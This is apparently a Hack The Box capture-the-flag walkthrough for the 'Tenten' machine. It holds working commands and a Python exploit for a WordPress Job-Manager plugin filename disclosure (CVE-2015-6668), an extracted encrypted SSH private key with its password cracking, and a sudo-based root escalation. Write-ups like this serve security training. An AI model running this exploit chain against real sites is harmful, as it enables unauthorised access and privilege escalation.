HTB - Tenten
Getting Root:
Discovered the box is using WordPress 4.7.3 which has vulnerable plugin
Exploiting the vulnerable plugin takes us a protected link with an image
Using steghide on the image gives us a private ssh key and we get a shell
To get root, we abuse an executable with SUID
Nmap
nmap -sC -sV -p- -oA nmap/Tenten
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 21:56 EST
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.51 seconds
root@kdeali:~/HackTheBox/Tenten# nmap -sC -sV -p- -oA nmap/Tenten 10.10.10.10
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 21:56 EST
Nmap scan report for 10.10.10.10
Host is up (0.042s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ec:f7:9d:38:0c:47:6f:f0:13:0f:b9:3b:d4:d6:e3:11 (RSA)
| 256 cc:fe:2d:e2:7f:ef:4d:41:ae:39:0e:91:ed:7e:9d:e7 (ECDSA)
|_ 256 8d:b5:83:18:c0:7c:5d:3d:38:df:4b:e1:a4:82:8a:07 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.7.3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Job Portal – Just another WordPress site
| vulners:
| cpe:/a:apache:http_server:2.4.18:
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
| CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
| CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
| CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715
| CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082
| CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788
| CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217
| CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098
| CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220
| CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196
| CVE-2018-17199 5.0 https://vulners.com/cve/CVE-2018-17199
| CVE-2018-1333 5.0 https://vulners.com/cve/CVE-2018-1333
| CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798
| CVE-2017-15710 5.0 https://vulners.com/cve/CVE-2017-15710
| CVE-2016-8743 5.0 https://vulners.com/cve/CVE-2016-8743
| CVE-2016-8740 5.0 https://vulners.com/cve/CVE-2016-8740
| CVE-2016-4979 5.0 https://vulners.com/cve/CVE-2016-4979
| CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197
| CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
| CVE-2018-11763 4.3 https://vulners.com/cve/CVE-2018-11763
| CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
| CVE-2016-1546 4.3 https://vulners.com/cve/CVE-2016-1546
| CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283
|_ CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.10 seconds Services
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) View Source
A quick visit to http://10.10.10.10 and view source reveals WordPress 4.7.3
Gobuster
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.10
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/02/27 22:02:58 Starting gobuster
===============================================================
/wp-content (Status: 301)
/wp-includes (Status: 301)
/wp-admin (Status: 301)
/server-status (Status: 403)
===============================================================
2020/02/27 22:06:03 Finished
===============================================================
Wpscan
wpscan --url http://10.10.10.10 --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.10.10/
Interesting Finding(s):
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.10.10/index.php/feed/, <generator>https://wordpress.org/?v=4.7.3</generator>
| - http://10.10.10.10/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.3</generator>
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <================================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] takis
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://10.10.10.10/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] job-manager
| Location: http://10.10.10.10/wp-content/plugins/job-manager/
| Latest Version: 0.7.25 (up to date)
| Last Updated: 2015-08-25T22:44:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 7.2.5 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.10/wp-content/plugins/job-manager/readme.txt
Research on job-manager plugin
Google research on "WordPress job-manager 7.2.5" https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/
[CVE-2015-6668] CV filename disclosure on Job-Manager WP plugin
Title: CV filename disclosure on Job-Manager WP plugin
Date: 08/25/2015
CVE-ID: 2015-6668
Author: Evangelos Mourikis Blog URL:
https://vagmour.eu
Twitter: @teh_h3ck
Versions: <= 0.7.25
Plugin URLs:
1. http://www.wp-jobmanager.com
2. https://wordpress.org/plugins/job-manager/
From the website we can easily browse the different job applications
To make this easier, I created a simple bash script to search for all job applications:
for bull in {1..20}; do echo -n "Doing: $bull"; curl -s http://10.10.10.10/index.php/jobs/apply/$bull/ | grep '<title>Job Application'; done
Doing: 1<title>Job Application: Hello world! – Job Portal</title>
Doing: 2<title>Job Application: Sample Page – Job Portal</title>
Doing: 3<title>Job Application: Auto Draft – Job Portal</title>
Doing: 4<title>Job Application – Job Portal</title>
Doing: 5<title>Job Application: Jobs Listing – Job Portal</title>
Doing: 6<title>Job Application: Job Application – Job Portal</title>
Doing: 7<title>Job Application: Register – Job Portal</title>
Doing: 8<title>Job Application: Pen Tester – Job Portal</title>
Doing: 9<title>Job Application: – Job Portal</title>
Doing: 10<title>Job Application: Application – Job Portal</title>
Doing: 11<title>Job Application: cube – Job Portal</title>
Doing: 12<title>Job Application: Application – Job Portal</title>
Doing: 13<title>Job Application: HackerAccessGranted – Job Portal</title>
Doing: 14<title>Job Application – Job Portal</title>
Doing: 15<title>Job Application – Job Portal</title>
Doing: 16<title>Job Application – Job Portal</title>
Doing: 17<title>Job Application – Job Portal</title>
Doing: 18<title>Job Application – Job Portal</title>
Doing: 19<title>Job Application – Job Portal</title>
Doing: 20<title>Job Application – Job Portal</title>The one that is very interesting is Number 13:
Doing: 13<title>Job Application: HackerAccessGranted – Job Portal</title>
Let's use the python exploit from the page we found with the job-manager plugin discussing the CVE. I changed the year range given that WordPress was showing 2017 and I also added a few additional extensions.
#!/usr/bin/env python
import requests
print """
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
"""
website = raw_input('Enter a vulnerable website: ')
filename = raw_input('Enter a file name: ')
filename2 = filename.replace(" ", "-")
for year in range(2017,2018):
for i in range(1,13):
for extension in {'jpeg', 'jpg', 'png', 'php', 'doc','pdf','docx'}:
URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
req = requests.get(URL)
if req.status_code==200:
print "[+] URL of CV found! " + URL
Running the python exploit
chmod +x exploit.py
./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg
Visiting the link shows an image
Analyzing the image
strings HackerAccessGranted.jpg
# Nothing insteresting
binwalk HackerAccessGranted.jpg
# Nothing insteresting
steghide --extract -sf HackerAccessGranted.jpg
Enter passphrase:
# It asked for a passphrase, so I just hit "Enter"
wrote extracted data to "id_rsa".
Cracking the ssh private key
file id_rsa
id_rsa: PEM RSA private key
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C
/HXcUBOT3JhzblH7uF9Vh7faa76XHIdr/Ch0pDnJunjdmLS/laq1kulQ3/RF/Vax
tjTzj/V5hBEcL5GcHv3esrODlS0jhML53lAprkpawfbvwbR+XxFIJuz7zLfd/vDo
1KuGrCrRRsipkyae5KiqlC137bmWK9aE/4c5X2yfVTOEeODdW0rAoTzGufWtThZf
K2ny0iTGPndD7LMdm/o5O5As+ChDYFNphV1XDgfDzHgonKMC4iES7Jk8Gz20PJsm
SdWCazF6pIEqhI4NQrnkd8kmKqzkpfWqZDz3+g6f49GYf97aM5TQgTday2oFqoXH
WPhK3Cm0tMGqLZA01+oNuwXS0H53t9FG7GqU31wj7nAGWBpfGodGwedYde4zlOBP
VbNulRMKOkErv/NCiGVRcK6k5Qtdbwforh+6bMjmKE6QvMXbesZtQ0gC9SJZ3lMT
J0IY838HQZgOsSw1jDrxuPV2DUIYFR0W3kQrDVUym0BoxOwOf/MlTxvrC2wvbHqw
AAniuEotb9oaz/Pfau3OO/DVzYkqI99VDX/YBIxd168qqZbXsM9s/aMCdVg7TJ1g
2gxElpV7U9kxil/RNdx5UASFpvFslmOn7CTZ6N44xiatQUHyV1NgpNCyjfEMzXMo
6FtWaVqbGStax1iMRC198Z0cRkX2VoTvTlhQw74rSPGPMEH+OSFksXp7Se/wCDMA
pYZASVxl6oNWQK+pAj5z4WhaBSBEr8ZVmFfykuh4lo7Tsnxa9WNoWXo6X0FSOPMk
tNpBbPPq15+M+dSZaObad9E/MnvBfaSKlvkn4epkB7n0VkO1ssLcecfxi+bWnGPm
KowyqU6iuF28w1J9BtowgnWrUgtlqubmk0wkf+l08ig7koMyT9KfZegR7oF92xE9
4IWDTxfLy75o1DH0Rrm0f77D4HvNC2qQ0dYHkApd1dk4blcb71Fi5WF1B3RruygF
2GSreByXn5g915Ya82uC3O+ST5QBeY2pT8Bk2D6Ikmt6uIlLno0Skr3v9r6JT5J7
L0UtMgdUqf+35+cA70L/wIlP0E04U0aaGpscDg059DL88dzvIhyHg4Tlfd9xWtQS
VxMzURTwEZ43jSxX94PLlwcxzLV6FfRVAKdbi6kACsgVeULiI+yAfPjIIyV0m1kv
5HV/bYJvVatGtmkNuMtuK7NOH8iE7kCDxCnPnPZa0nWoHDk4yd50RlzznkPna74r
Xbo9FdNeLNmER/7GGdQARkpd52Uur08fIJW2wyS1bdgbBgw/G+puFAR8z7ipgj4W
p9LoYqiuxaEbiD5zUzeOtKAKL/nfmzK82zbdPxMrv7TvHUSSWEUC4O9QKiB3amgf
yWMjw3otH+ZLnBmy/fS6IVQ5OnV6rVhQ7+LRKe+qlYidzfp19lIL8UidbsBfWAzB
9Xk0sH5c1NQT6spo/nQM3UNIkkn+a7zKPJmetHsO4Ob3xKLiSpw5f35SRV+rF+mO
vIUE1/YssXMO7TK6iBIXCuuOUtOpGiLxNVRIaJvbGmazLWCSyptk5fJhPLkhuK+J
YoZn9FNAuRiYFL3rw+6qol+KoqzoPJJek6WHRy8OSE+8Dz1ysTLIPB6tGKn7EWnP
-----END RSA PRIVATE KEY-----
# Using ssh2john
ssh2john.py id_rsa > id_rsa_john_hash
# Using john with rockyou wordlist
john --wordlist=/root/HackTheBox/rockyou.txt id_rsa_john_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
superpassword (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-02-27 23:51) 0.1751g/s 2511Kp/s 2511Kc/s 2511KC/sa6_123..*7¡Vamos!
Session completed
Accessing the box
# Using correct permissions on the private key id_rsa
chmod 600 id_rsa
# ssh to the box using username root or takis which are the two users we know
# It fails with root
ssh -i id_rsa root@10.10.10.10
Enter passphrase for key 'id_rsa':
root@10.10.10.10's password:
Permission denied, please try again.
root@10.10.10.10's password:
Permission denied, please try again.
root@10.10.10.10's password:
root@10.10.10.10: Permission denied (publickey,password).
# Trying with username takis found on wpscan enumeration
ssh -i id_rsa takis@10.10.10.10
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
65 packages can be updated.
39 updates are security updates.
Last login: Fri May 5 23:05:36 2017
Privilege Escalation
takis@tenten:~$ sudo -l
Matching Defaults entries for takis on tenten:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User takis may run the following commands on tenten:
(ALL : ALL) ALL
(ALL) NOPASSWD: /bin/fuckin
takis@tenten:~$ sudo /bin/fuckin whoami
root
takis@tenten:~$ sudo /bin/fuckin /bin/bash
root@tenten:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenten:~# ifconfig
ens34 Link encap:Ethernet HWaddr 00:50:56:b9:93:b6
inet addr:10.10.10.10 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:feb9:93b6/64 Scope:Link
inet6 addr: dead:beef::250:56ff:feb9:93b6/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:487142 errors:0 dropped:0 overruns:0 frame:0
TX packets:477719 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:77437579 (77.4 MB) TX bytes:237049609 (237.0 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:793 errors:0 dropped:0 overruns:0 frame:0
TX packets:793 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:74479 (74.4 KB) TX bytes:74479 (74.4 KB)
root@tenten:~#
Last updated
